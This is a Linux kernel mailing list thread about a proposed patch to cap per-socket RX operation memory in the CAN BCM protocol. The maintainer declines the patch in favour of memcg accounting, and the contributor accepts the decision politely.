+	atomic_set(&bo->rx_receiver_count, 0);
 
  	INIT_LIST_HEAD(&bo->tx_ops);
  	INIT_LIST_HEAD(&bo->rx_ops);

zihan xi

author

2026-10-28 15:36 UTC #11 lore raw

Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket

Quoted 424 lines · Oliver Hartkopp

Just in the case it was not clear to you here:

https://lore.kernel.org/linux-can/[email protected]/

Your patch does not solve the problem and will not be merged.

Please stop sending updates.

FYI it will go into this direction below, when the current patches are upstream. I already have a prepared patch for this issue.

Best regards,
Oliver

(..)

net/can/af_can.c +1 -1

@@ -919,7 +919,7 @@ static __init int can_init(void)
        rcv_cache = kmem_cache_create("can_receiver", sizeof(struct receiver),
-                                     0, 0, NULL);
+                                     0, SLAB_ACCOUNT, NULL);

net/can/bcm.c +5 -5

@@ -1155,7 +1155,7 @@ static int bcm_tx_setup(...)
-               op = kzalloc(OPSIZ, GFP_KERNEL);
+               op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT);

@@ -1172,7 +1172,7 @@ static int bcm_tx_setup(...)
                        op->frames = kmalloc_array(msg_head->nframes,
                                                   op->cfsiz,
-                                                  GFP_KERNEL);
+                                                  GFP_KERNEL_ACCOUNT);

@@ -1403,7 +1403,7 @@ static int bcm_rx_setup(...)
-               op = kzalloc(OPSIZ, GFP_KERNEL);
+               op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT);

@@ -1418,7 +1418,7 @@ static int bcm_rx_setup(...)
                        op->frames = kmalloc_array(msg_head->nframes,
                                                   op->cfsiz,
-                                                  GFP_KERNEL);
+                                                  GFP_KERNEL_ACCOUNT);

@@ -1427,7 +1427,7 @@ static int bcm_rx_setup(...)
                        op->last_frames = kcalloc(msg_head->nframes,
                                                  op->cfsiz,
-                                                 GFP_KERNEL);
+                                                 GFP_KERNEL_ACCOUNT);
 
(..)

Quoted 365 lines · Zihan Xi

BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory.

Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges.

Fixes ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol")

Cc [email protected]

Reported-by Vega <[email protected]>

Link https://bugtracker.nebusec.ai/f/11134

Signed-off-by Zihan Xi <[email protected]>

---
  include/linux/can/core.h |   7 +++
  net/can/af_can.c         |  34 ++++++++++-
  net/can/af_can.h         |   1 +
  net/can/bcm.c            | 127 +++++++++++++++++++++++++++++++++------
  4 files changed, 147 insertions(+), 22 deletions(-)

include/linux/can/core.h +7 -0

index 2de74c2b78b6..89b9d0a2dcc1 100644
@@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev,
                  void (*func)(struct sk_buff *, void *),
                  void *data, char *ident, struct sock *sk);
 
+/* release runs from an RCU callback and must not sleep. */
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+                              canid_t can_id, canid_t mask,
+                              void (*func)(struct sk_buff *, void *),
+                              void *data, char *ident, struct sock *sk,
+                              void (*release)(struct sock *sk));
+
  extern void can_rx_unregister(struct net *net, struct net_device *dev,
                            canid_t can_id, canid_t mask,
                            void (*func)(struct sk_buff *, void *),

net/can/af_can.c +31 -3

index 34fe3b28d576..a3f0ed35fbb5 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
   *  -ENOMEM on missing cache mem to create subscription entry
   *  -ENODEV unknown device
   */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-                 canid_t mask, void (*func)(struct sk_buff *, void *),
-                 void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+                                 canid_t can_id, canid_t mask,
+                                 void (*func)(struct sk_buff *, void *),
+                                 void *data, char *ident, struct sock *sk,
+                                 void (*release)(struct sock *sk))
  {
      struct receiver *rcv;
      struct hlist_head *rcv_list;
      struct can_dev_rcv_lists *dev_rcv_lists;
      struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats;
 
+     if (release && !sk)
+             return -EINVAL;
+
      /* insert new receiver  (dev,canid,mask) -> (func,data) */
 
      if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev)))

@@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
      rcv->data = data;
      rcv->ident = ident;
      rcv->sk = sk;
+     rcv->release = release;
 
      hlist_add_head_rcu(&rcv->list, rcv_list);
      dev_rcv_lists->entries++;

@@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 
      return 0;
  }
+
+int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
+                 canid_t mask, void (*func)(struct sk_buff *, void *),
+                 void *data, char *ident, struct sock *sk)
+{
+     return can_rx_register_internal(net, dev, can_id, mask, func, data,
+                                     ident, sk, NULL);
+}
  EXPORT_SYMBOL(can_rx_register);
 
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+                              canid_t can_id, canid_t mask,
+                              void (*func)(struct sk_buff *, void *),
+                              void *data, char *ident, struct sock *sk,
+                              void (*release)(struct sock *sk))
+{
+     return can_rx_register_internal(net, dev, can_id, mask, func, data,
+                                     ident, sk, release);
+}
+EXPORT_SYMBOL(can_rx_register_with_release);
+
  /* can_rx_delete_receiver - rcu callback for single receiver entry removal */
  static void can_rx_delete_receiver(struct rcu_head *rp)
  {
      struct receiver *rcv = container_of(rp, struct receiver, rcu);
      struct sock *sk = rcv->sk;
+     void (*release)(struct sock *sk) = rcv->release;
 
      kmem_cache_free(rcv_cache, rcv);
+     if (release)
+             release(sk);
      if (sk)
              sock_put(sk);
  }

net/can/af_can.h +1 -0

index 87887014f562..2fa4cf8c1314 100644
@@ -57,6 +57,7 @@ struct receiver {
      void *data;
      char *ident;
      struct sock *sk;
+     void (*release)(struct sock *sk);
      struct rcu_head rcu;
  };

net/can/bcm.c +107 ~~-19~~

index 3d637a1e0ac1..477bdc1e8745 100644
@@ -58,6 +58,7 @@
  #include <linux/can/skb.h>
  #include <linux/can/bcm.h>
  #include <linux/slab.h>
+#include <linux/overflow.h>
  #include <linux/workqueue.h>
  #include <linux/spinlock.h>
  #include <net/can.h>

@@ -127,6 +128,7 @@ struct bcm_op {
      void *last_frames;
      struct canfd_frame sframe;
      struct canfd_frame last_sframe;
+     size_t rx_mem;
      struct sock *sk;
      struct net_device *rx_reg_dev;
      netdevice_tracker rx_reg_dev_tracker;

@@ -141,6 +143,9 @@ struct bcm_sock {
      struct list_head notifier;
      struct list_head rx_ops;
      struct list_head tx_ops;
+     unsigned int rx_op_count;
+     size_t rx_mem_used;
+     atomic_t rx_receiver_count;
      unsigned long dropped_usr_msgs;
      struct proc_dir_entry *bcm_proc_read;
      char procname [32]; /* inode number in decimal with \0 */

@@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head)
  #define OPSIZ sizeof(struct bcm_op)
  #define MHSIZ sizeof(struct bcm_msg_head)
 
+/* Bound the resources consumed by RX operations on one BCM socket. */
+#define BCM_MAX_RX_OPS 1024
+#define BCM_MAX_RX_MEM (16 * 1024 * 1024)
+
  /*
   * procfs functions
   */

@@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops,
      return NULL;
  }
 
+/* Called with the socket lock held. */
+static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem)
+{
+     if (bo->rx_op_count >= BCM_MAX_RX_OPS ||
+         rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used)
+             return false;
+
+     bo->rx_op_count++;
+     bo->rx_mem_used += rx_mem;
+     return true;
+}
+
+/* Called with the socket lock held. */
+static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem)
+{
+     if (!rx_mem)
+             return;
+
+     if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem))
+             return;
+
+     bo->rx_op_count--;
+     bo->rx_mem_used -= rx_mem;
+}
+
+static void bcm_rx_receiver_release(struct sock *sk)
+{
+     struct bcm_sock *bo = bcm_sk(sk);
+
+     WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0);
+}
+
+/* Called with the socket lock held. */
+static int bcm_rx_register(struct bcm_op *op, struct net_device *dev)
+{
+     struct bcm_sock *bo = bcm_sk(op->sk);
+     int err;
+
+     if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) {
+             atomic_dec(&bo->rx_receiver_count);
+             return -ENOBUFS;
+     }
+
+     err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id,
+                                        REGMASK(op->can_id), bcm_rx_handler,
+                                        op, "bcm", op->sk,
+                                        bcm_rx_receiver_release);
+     if (err)
+             atomic_dec(&bo->rx_receiver_count);
+
+     return err;
+}
+
  static void bcm_free_op_work(struct work_struct *work)
  {
      struct bcm_op *op = container_of(work, struct bcm_op, work);
+     struct sock *sk = op->sk;
+     size_t rx_mem = op->rx_mem;
 
      hrtimer_cancel(&op->timer);
      hrtimer_cancel(&op->thrtimer);

@@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work)
      if ((op->last_frames) && (op->last_frames != &op->last_sframe))
              kfree(op->last_frames);
 
-     /* the last possible access to op->timer/op->thrtimer has now
-      * happened above via hrtimer_cancel() - op->sk is no longer
-      * needed by any pending timer callback, so drop our reference
+     kfree(op);
+     /*
+      * Keep the RX budget charged until the operation and its frame arrays
+      * have actually been freed. op->sk holds a reference while this work is
+      * pending, so the socket remains valid while updating its accounting.
       */
-     sock_put(op->sk);
+     if (rx_mem) {
+             lock_sock(sk);
+             bcm_rx_op_uncharge(bcm_sk(sk), rx_mem);
+             release_sock(sk);
+     }
 
-     kfree(op);
+     /* Drop the reference held for the operation and any pending timer. */
+     sock_put(sk);
  }
 
  static void bcm_free_op_rcu(struct rcu_head *rcu_head)

@@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  {
      struct bcm_sock *bo = bcm_sk(sk);
      struct bcm_op *op;
+     size_t rx_mem, frames_size, arrays_size;
      int do_rx_register;
      int new_op = 0;
      int err = 0;

@@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
              do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0;
 
      } else {
+             /*
+              * Charge the operation and its frame arrays before allocating
+              * them or registering a CAN receiver. nframes is already bounded
+              * above, but keep the size arithmetic explicitly overflow-safe.
+              */
+             rx_mem = sizeof(*op);
+             if (msg_head->nframes > 1) {
+                     if (check_mul_overflow((size_t)msg_head->nframes,
+                                            (size_t)CFSIZ(msg_head->flags),
+                                            &frames_size) ||
+                         check_mul_overflow(frames_size, (size_t)2,
+                                            &arrays_size) ||
+                         check_add_overflow(rx_mem, arrays_size, &rx_mem))
+                             return -EOVERFLOW;
+             }
+
+             if (!bcm_rx_op_charge(bo, rx_mem))
+                     return -ENOBUFS;
+
              /* insert new BCM operation for the given can_id */
              op = kzalloc(OPSIZ, GFP_KERNEL);
-             if (!op)
+             if (!op) {
+                     bcm_rx_op_uncharge(bo, rx_mem);
                      return -ENOMEM;
+             }
 
              spin_lock_init(&op->bcm_tx_lock);
              spin_lock_init(&op->bcm_rx_update_lock);

@@ -1425,6 +1518,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
              op->nframes = msg_head->nframes;
              op->cfsiz = CFSIZ(msg_head->flags);
              op->flags = msg_head->flags;
+             op->rx_mem = rx_mem;
 
              if (msg_head->nframes > 1) {
                      /* create array for CAN frames and copy the data */

@@ -1432,8 +1526,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
                                                 op->cfsiz,
                                                 GFP_KERNEL);
                      if (!op->frames) {
-                             kfree(op);
-                             return -ENOMEM;
+                             err = -ENOMEM;
+                             goto free_op;
                      }
 
                      /* create and init array for received CAN frames */

@@ -1441,9 +1535,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
                                                op->cfsiz,
                                                GFP_KERNEL);
                      if (!op->last_frames) {
-                             kfree(op->frames);
-                             kfree(op);
-                             return -ENOMEM;
+                             err = -ENOMEM;
+                             goto free_op;
                      }
 
              } else {

@@ -1532,11 +1625,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
 
                      dev = dev_get_by_index(sock_net(sk), ifindex);
                      if (dev) {
-                             err = can_rx_register(sock_net(sk), dev,
-                                                   op->can_id,
-                                                   REGMASK(op->can_id),
-                                                   bcm_rx_handler, op,
-                                                   "bcm", sk);
+                             err = bcm_rx_register(op, dev);
 
                              /* keep a tracked reference so that a later
                               * unregister can safely reach the device even

@@ -1558,9 +1647,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
                      }
 
              } else {
-                     err = can_rx_register(sock_net(sk), NULL, op->can_id,
-                                           REGMASK(op->can_id),
-                                           bcm_rx_handler, op, "bcm", sk);
+                     err = bcm_rx_register(op, NULL);
              }
 
              if (err) {

@@ -1593,6 +1680,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
      if (op->last_frames != &op->last_sframe)
              kfree(op->last_frames);
      kfree(op);
+     bcm_rx_op_uncharge(bo, rx_mem);
      return err;
  }

Quoted 9 lines

net/can/bcm.c static int bcm_init(struct sock *sk) · line 1990

Quoted 8 lines

net/can/bcm.c +1 -0

@@ -1896,6 +1984,7 @@ static int bcm_init(struct sock *sk)
      bo->ifindex          = 0;
      bo->dropped_usr_msgs = 0;
      bo->bcm_proc_read    = NULL;
+     atomic_set(&bo->rx_receiver_count, 0);
 
      INIT_LIST_HEAD(&bo->tx_ops);
      INIT_LIST_HEAD(&bo->rx_ops);

Hi Oliver,

Thank you for taking the time to explain your concerns and review my report and reproducer. I apologize for missing your earlier message.

I understand your decision and will respect your request not to send further updates.

Thank you again for your time and guidance.

Best regards,
Zihan

Oliver Hartkopp

maintainer

2026-10-28 16:05 UTC #12 lore raw

Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket

Quoted 437 lines · zihan xi

Quoted 424 lines · Oliver Hartkopp

Just in the case it was not clear to you here:

https://lore.kernel.org/linux-can/[email protected]/

Your patch does not solve the problem and will not be merged.

Please stop sending updates.

FYI it will go into this direction below, when the current patches are upstream. I already have a prepared patch for this issue.

Best regards,
Oliver

(..)

net/can/af_can.c +1 -1

@@ -919,7 +919,7 @@ static __init int can_init(void)
         rcv_cache = kmem_cache_create("can_receiver", sizeof(struct receiver),
-                                     0, 0, NULL);
+                                     0, SLAB_ACCOUNT, NULL);

net/can/bcm.c +5 -5

@@ -1155,7 +1155,7 @@ static int bcm_tx_setup(...)
-               op = kzalloc(OPSIZ, GFP_KERNEL);
+               op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT);

@@ -1172,7 +1172,7 @@ static int bcm_tx_setup(...)
                         op->frames = kmalloc_array(msg_head->nframes,
                                                    op->cfsiz,
-                                                  GFP_KERNEL);
+                                                  GFP_KERNEL_ACCOUNT);

@@ -1403,7 +1403,7 @@ static int bcm_rx_setup(...)
-               op = kzalloc(OPSIZ, GFP_KERNEL);
+               op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT);

@@ -1418,7 +1418,7 @@ static int bcm_rx_setup(...)
                         op->frames = kmalloc_array(msg_head->nframes,
                                                    op->cfsiz,
-                                                  GFP_KERNEL);
+                                                  GFP_KERNEL_ACCOUNT);

@@ -1427,7 +1427,7 @@ static int bcm_rx_setup(...)
                         op->last_frames = kcalloc(msg_head->nframes,
                                                   op->cfsiz,
-                                                 GFP_KERNEL);
+                                                 GFP_KERNEL_ACCOUNT);
 
(..)

Quoted 365 lines · Zihan Xi

BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory.

Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges.

Fixes ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol")

Cc [email protected]

Reported-by Vega <[email protected]>

Link https://bugtracker.nebusec.ai/f/11134

Signed-off-by Zihan Xi <[email protected]>

---
   include/linux/can/core.h |   7 +++
   net/can/af_can.c         |  34 ++++++++++-
   net/can/af_can.h         |   1 +
   net/can/bcm.c            | 127 +++++++++++++++++++++++++++++++++------
   4 files changed, 147 insertions(+), 22 deletions(-)

include/linux/can/core.h +7 -0

index 2de74c2b78b6..89b9d0a2dcc1 100644
@@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev,
                   void (*func)(struct sk_buff *, void *),
                   void *data, char *ident, struct sock *sk);
 
+/* release runs from an RCU callback and must not sleep. */
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+                              canid_t can_id, canid_t mask,
+                              void (*func)(struct sk_buff *, void *),
+                              void *data, char *ident, struct sock *sk,
+                              void (*release)(struct sock *sk));
+
   extern void can_rx_unregister(struct net *net, struct net_device *dev,
                             canid_t can_id, canid_t mask,
                             void (*func)(struct sk_buff *, void *),

net/can/af_can.c +31 -3

index 34fe3b28d576..a3f0ed35fbb5 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
    *  -ENOMEM on missing cache mem to create subscription entry
    *  -ENODEV unknown device
    */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-                 canid_t mask, void (*func)(struct sk_buff *, void *),
-                 void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+                                 canid_t can_id, canid_t mask,
+                                 void (*func)(struct sk_buff *, void *),
+                                 void *data, char *ident, struct sock *sk,
+                                 void (*release)(struct sock *sk))
   {
       struct receiver *rcv;
       struct hlist_head *rcv_list;
       struct can_dev_rcv_lists *dev_rcv_lists;
       struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats;
 
+     if (release && !sk)
+             return -EINVAL;
+
       /* insert new receiver  (dev,canid,mask) -> (func,data) */
 
       if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev)))

@@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
       rcv->data = data;
       rcv->ident = ident;
       rcv->sk = sk;
+     rcv->release = release;
 
       hlist_add_head_rcu(&rcv->list, rcv_list);
       dev_rcv_lists->entries++;

@@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 
       return 0;
   }
+
+int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
+                 canid_t mask, void (*func)(struct sk_buff *, void *),
+                 void *data, char *ident, struct sock *sk)
+{
+     return can_rx_register_internal(net, dev, can_id, mask, func, data,
+                                     ident, sk, NULL);
+}
   EXPORT_SYMBOL(can_rx_register);
 
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+                              canid_t can_id, canid_t mask,
+                              void (*func)(struct sk_buff *, void *),
+                              void *data, char *ident, struct sock *sk,
+                              void (*release)(struct sock *sk))
+{
+     return can_rx_register_internal(net, dev, can_id, mask, func, data,
+                                     ident, sk, release);
+}
+EXPORT_SYMBOL(can_rx_register_with_release);
+
   /* can_rx_delete_receiver - rcu callback for single receiver entry removal */
   static void can_rx_delete_receiver(struct rcu_head *rp)
   {
       struct receiver *rcv = container_of(rp, struct receiver, rcu);
       struct sock *sk = rcv->sk;
+     void (*release)(struct sock *sk) = rcv->release;
 
       kmem_cache_free(rcv_cache, rcv);
+     if (release)
+             release(sk);
       if (sk)
               sock_put(sk);
   }

net/can/af_can.h +1 -0

index 87887014f562..2fa4cf8c1314 100644
@@ -57,6 +57,7 @@ struct receiver {
       void *data;
       char *ident;
       struct sock *sk;
+     void (*release)(struct sock *sk);
       struct rcu_head rcu;
   };

net/can/bcm.c +107 ~~-19~~

index 3d637a1e0ac1..477bdc1e8745 100644
@@ -58,6 +58,7 @@
   #include <linux/can/skb.h>
   #include <linux/can/bcm.h>
   #include <linux/slab.h>
+#include <linux/overflow.h>
   #include <linux/workqueue.h>
   #include <linux/spinlock.h>
   #include <net/can.h>

@@ -127,6 +128,7 @@ struct bcm_op {
       void *last_frames;
       struct canfd_frame sframe;
       struct canfd_frame last_sframe;
+     size_t rx_mem;
       struct sock *sk;
       struct net_device *rx_reg_dev;
       netdevice_tracker rx_reg_dev_tracker;

@@ -141,6 +143,9 @@ struct bcm_sock {
       struct list_head notifier;
       struct list_head rx_ops;
       struct list_head tx_ops;
+     unsigned int rx_op_count;
+     size_t rx_mem_used;
+     atomic_t rx_receiver_count;
       unsigned long dropped_usr_msgs;
       struct proc_dir_entry *bcm_proc_read;
       char procname [32]; /* inode number in decimal with \0 */

@@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head)
   #define OPSIZ sizeof(struct bcm_op)
   #define MHSIZ sizeof(struct bcm_msg_head)
 
+/* Bound the resources consumed by RX operations on one BCM socket. */
+#define BCM_MAX_RX_OPS 1024
+#define BCM_MAX_RX_MEM (16 * 1024 * 1024)
+
   /*
    * procfs functions
    */

@@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops,
       return NULL;
   }
 
+/* Called with the socket lock held. */
+static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem)
+{
+     if (bo->rx_op_count >= BCM_MAX_RX_OPS ||
+         rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used)
+             return false;
+
+     bo->rx_op_count++;
+     bo->rx_mem_used += rx_mem;
+     return true;
+}
+
+/* Called with the socket lock held. */
+static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem)
+{
+     if (!rx_mem)
+             return;
+
+     if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem))
+             return;
+
+     bo->rx_op_count--;
+     bo->rx_mem_used -= rx_mem;
+}
+
+static void bcm_rx_receiver_release(struct sock *sk)
+{
+     struct bcm_sock *bo = bcm_sk(sk);
+
+     WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0);
+}
+
+/* Called with the socket lock held. */
+static int bcm_rx_register(struct bcm_op *op, struct net_device *dev)
+{
+     struct bcm_sock *bo = bcm_sk(op->sk);
+     int err;
+
+     if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) {
+             atomic_dec(&bo->rx_receiver_count);
+             return -ENOBUFS;
+     }
+
+     err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id,
+                                        REGMASK(op->can_id), bcm_rx_handler,
+                                        op, "bcm", op->sk,
+                                        bcm_rx_receiver_release);
+     if (err)
+             atomic_dec(&bo->rx_receiver_count);
+
+     return err;
+}
+
   static void bcm_free_op_work(struct work_struct *work)
   {
       struct bcm_op *op = container_of(work, struct bcm_op, work);
+     struct sock *sk = op->sk;
+     size_t rx_mem = op->rx_mem;
 
       hrtimer_cancel(&op->timer);
       hrtimer_cancel(&op->thrtimer);

@@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work)
       if ((op->last_frames) && (op->last_frames != &op->last_sframe))
               kfree(op->last_frames);
 
-     /* the last possible access to op->timer/op->thrtimer has now
-      * happened above via hrtimer_cancel() - op->sk is no longer
-      * needed by any pending timer callback, so drop our reference
+     kfree(op);
+     /*
+      * Keep the RX budget charged until the operation and its frame arrays
+      * have actually been freed. op->sk holds a reference while this work is
+      * pending, so the socket remains valid while updating its accounting.
        */
-     sock_put(op->sk);
+     if (rx_mem) {
+             lock_sock(sk);
+             bcm_rx_op_uncharge(bcm_sk(sk), rx_mem);
+             release_sock(sk);
+     }
 
-     kfree(op);
+     /* Drop the reference held for the operation and any pending timer. */
+     sock_put(sk);
   }
 
   static void bcm_free_op_rcu(struct rcu_head *rcu_head)

@@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
   {
       struct bcm_sock *bo = bcm_sk(sk);
       struct bcm_op *op;
+     size_t rx_mem, frames_size, arrays_size;
       int do_rx_register;
       int new_op = 0;
       int err = 0;

@@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
               do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0;
 
       } else {
+             /*
+              * Charge the operation and its frame arrays before allocating
+              * them or registering a CAN receiver. nframes is already bounded
+              * above, but keep the size arithmetic explicitly overflow-safe.
+              */
+             rx_mem = sizeof(*op);
+             if (msg_head->nframes > 1) {
+                     if (check_mul_overflow((size_t)msg_head->nframes,
+                                            (size_t)CFSIZ(msg_head->flags),
+                                            &frames_size) ||
+                         check_mul_overflow(frames_size, (size_t)2,
+                                            &arrays_size) ||
+                         check_add_overflow(rx_mem, arrays_size, &rx_mem))
+                             return -EOVERFLOW;
+             }
+
+             if (!bcm_rx_op_charge(bo, rx_mem))
+                     return -ENOBUFS;
+
               /* insert new BCM operation for the given can_id */
               op = kzalloc(OPSIZ, GFP_KERNEL);
-             if (!op)
+             if (!op) {
+                     bcm_rx_op_uncharge(bo, rx_mem);
                       return -ENOMEM;
+             }
 
               spin_lock_init(&op->bcm_tx_lock);
               spin_lock_init(&op->bcm_rx_update_lock);

@@ -1425,6 +1518,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
               op->nframes = msg_head->nframes;
               op->cfsiz = CFSIZ(msg_head->flags);
               op->flags = msg_head->flags;
+             op->rx_mem = rx_mem;
 
               if (msg_head->nframes > 1) {
                       /* create array for CAN frames and copy the data */

@@ -1432,8 +1526,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
                                                  op->cfsiz,
                                                  GFP_KERNEL);
                       if (!op->frames) {
-                             kfree(op);
-                             return -ENOMEM;
+                             err = -ENOMEM;
+                             goto free_op;
                       }
 
                       /* create and init array for received CAN frames */

@@ -1441,9 +1535,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
                                                 op->cfsiz,
                                                 GFP_KERNEL);
                       if (!op->last_frames) {
-                             kfree(op->frames);
-                             kfree(op);
-                             return -ENOMEM;
+                             err = -ENOMEM;
+                             goto free_op;
                       }
 
               } else {

@@ -1532,11 +1625,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
 
                       dev = dev_get_by_index(sock_net(sk), ifindex);
                       if (dev) {
-                             err = can_rx_register(sock_net(sk), dev,
-                                                   op->can_id,
-                                                   REGMASK(op->can_id),
-                                                   bcm_rx_handler, op,
-                                                   "bcm", sk);
+                             err = bcm_rx_register(op, dev);
 
                               /* keep a tracked reference so that a later
                                * unregister can safely reach the device even

@@ -1558,9 +1647,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
                       }
 
               } else {
-                     err = can_rx_register(sock_net(sk), NULL, op->can_id,
-                                           REGMASK(op->can_id),
-                                           bcm_rx_handler, op, "bcm", sk);
+                     err = bcm_rx_register(op, NULL);
               }
 
               if (err) {

@@ -1593,6 +1680,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
       if (op->last_frames != &op->last_sframe)
               kfree(op->last_frames);
       kfree(op);
+     bcm_rx_op_uncharge(bo, rx_mem);
       return err;
   }

Quoted 9 lines

net/can/bcm.c static int bcm_init(struct sock *sk) · line 1990

Quoted 8 lines

net/can/bcm.c +1 -0

@@ -1896,6 +1984,7 @@ static int bcm_init(struct sock *sk)
       bo->ifindex          = 0;
       bo->dropped_usr_msgs = 0;
       bo->bcm_proc_read    = NULL;
+     atomic_set(&bo->rx_receiver_count, 0);
 
       INIT_LIST_HEAD(&bo->tx_ops);
       INIT_LIST_HEAD(&bo->rx_ops);

Hi Oliver,

Quoted 7 lines

Thank you for taking the time to explain your concerns and review my report and reproducer. I apologize for missing your earlier message.
I understand your decision and will respect your request not to send further updates.
Thank you again for your time and guidance.

Thanks Zihan!

I really appreciate that you looked into this topic and provided a reproducer and some solution for it - which definitely caused some effort for you.

Enabling memcg accounting for CAN allocations follows the approach for
other objects that can be created by unprivileged users and is the way how it should be solved. memcg does not introduce any new CAN specific limit and does not make assumptions about the number of sockets, filters or BCM operations an application needs.

Best regards,
Oliver